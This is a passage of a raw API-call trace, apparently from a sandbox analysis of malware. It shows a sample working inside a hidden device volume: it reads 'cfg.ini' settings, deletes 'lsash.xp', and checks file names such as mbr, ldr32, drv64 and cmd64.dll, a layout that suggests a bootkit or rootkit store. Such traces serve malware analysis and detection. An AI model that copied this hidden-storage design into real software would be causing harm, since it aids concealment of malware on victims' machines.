_snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.880] KeEnterCriticalRegion () [0124.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.880] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.880] IdePortDispatch () returned 0x103 [0124.880] KeWaitForMutexObject () returned 0x0 [0124.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.880] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.880] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.880] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.880] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.880] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4dc0 [0124.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.880] KeLeaveCriticalRegion () [0124.880] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.880] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.880] KeEnterCriticalRegion () [0124.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.880] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.880] KeLeaveCriticalRegion () [0124.881] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.881] KeEnterCriticalRegion () [0124.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.881] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.881] IdePortDispatch () returned 0x103 [0124.881] KeWaitForMutexObject () returned 0x0 [0124.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.881] KeLeaveCriticalRegion () [0124.881] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.881] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.881] KeEnterCriticalRegion () [0124.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.881] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d9000 [0124.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.881] IdePortDispatch () returned 0x103 [0124.881] KeWaitForMutexObject () returned 0x0 [0124.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.881] IdePortDispatch () returned 0x103 [0124.882] KeWaitForMutexObject () returned 0x0 [0124.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.882] KeLeaveCriticalRegion () [0124.882] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.882] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.882] KeEnterCriticalRegion () [0124.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.882] KeLeaveCriticalRegion () [0124.882] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.882] KeEnterCriticalRegion () [0124.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.882] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.882] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4700, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.882] KeLeaveCriticalRegion () [0124.882] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.883] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.883] KeEnterCriticalRegion () [0124.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.883] ExFreePoolWithTag (P=0xfffffa8003bf4dc0, Tag=0x0) [0124.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.883] KeLeaveCriticalRegion () [0124.883] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.883] ReleaseMutex (hMutex=0xf0) returned 1 [0124.883] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.883] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.883] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.883] KeEnterCriticalRegion () [0124.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.883] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.883] IdePortDispatch () returned 0x103 [0124.883] KeWaitForMutexObject () returned 0x0 [0124.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.883] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.883] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.883] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.883] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.883] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0124.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.883] KeLeaveCriticalRegion () [0124.883] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.883] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.883] KeEnterCriticalRegion () [0124.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.883] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.883] KeLeaveCriticalRegion () [0124.884] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.884] KeEnterCriticalRegion () [0124.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.884] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.884] IdePortDispatch () returned 0x103 [0124.884] KeWaitForMutexObject () returned 0x0 [0124.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.884] KeLeaveCriticalRegion () [0124.884] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.884] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.884] KeEnterCriticalRegion () [0124.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035da000 [0124.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.884] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.884] IdePortDispatch () returned 0x103 [0124.884] KeWaitForMutexObject () returned 0x0 [0124.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.884] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.884] IdePortDispatch () returned 0x103 [0124.885] KeWaitForMutexObject () returned 0x0 [0124.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.885] KeLeaveCriticalRegion () [0124.885] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.885] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.885] KeEnterCriticalRegion () [0124.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.885] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.885] KeLeaveCriticalRegion () [0124.885] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.885] KeEnterCriticalRegion () [0124.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.885] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.885] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4be0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.885] KeLeaveCriticalRegion () [0124.886] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.886] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.886] KeEnterCriticalRegion () [0124.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.886] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0124.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.886] KeLeaveCriticalRegion () [0124.886] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.886] ReleaseMutex (hMutex=0xf0) returned 1 [0124.886] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.886] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.886] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.886] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.886] KeEnterCriticalRegion () [0124.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.886] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.886] IdePortDispatch () returned 0x103 [0124.886] KeWaitForMutexObject () returned 0x0 [0124.886] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.886] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.886] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.886] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.886] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.886] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.886] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.886] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.886] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.886] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.886] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.886] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.886] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.886] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.886] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.886] KeLeaveCriticalRegion () [0124.886] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.887] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.887] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.887] KeEnterCriticalRegion () [0124.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.887] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.887] IdePortDispatch () returned 0x103 [0124.887] KeWaitForMutexObject () returned 0x0 [0124.887] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.887] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.887] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.887] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.887] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.887] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.887] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.887] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.887] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.887] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.887] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.887] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.887] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.887] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.887] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.887] KeLeaveCriticalRegion () [0124.887] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.887] ReleaseMutex (hMutex=0x100) returned 1 [0124.887] Sleep (dwMilliseconds=0x2bf20) [0124.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6da5b970, dwHighDateTime=0x1d24fa4)) [0124.902] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.902] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.903] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.903] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.903] KeEnterCriticalRegion () [0124.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.903] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.903] IdePortDispatch () returned 0x103 [0124.903] KeWaitForMutexObject () returned 0x0 [0124.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.903] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.903] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.903] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.903] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.903] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3220 [0124.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.903] KeLeaveCriticalRegion () [0124.903] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.903] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.903] KeEnterCriticalRegion () [0124.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.903] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.903] KeLeaveCriticalRegion () [0124.903] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.903] KeEnterCriticalRegion () [0124.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.903] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.903] IdePortDispatch () returned 0x103 [0124.904] KeWaitForMutexObject () returned 0x0 [0124.904] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.904] KeLeaveCriticalRegion () [0124.904] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.904] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.904] KeEnterCriticalRegion () [0124.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.904] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035dd000 [0124.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.904] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.904] IdePortDispatch () returned 0x103 [0124.904] KeWaitForMutexObject () returned 0x0 [0124.904] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.904] 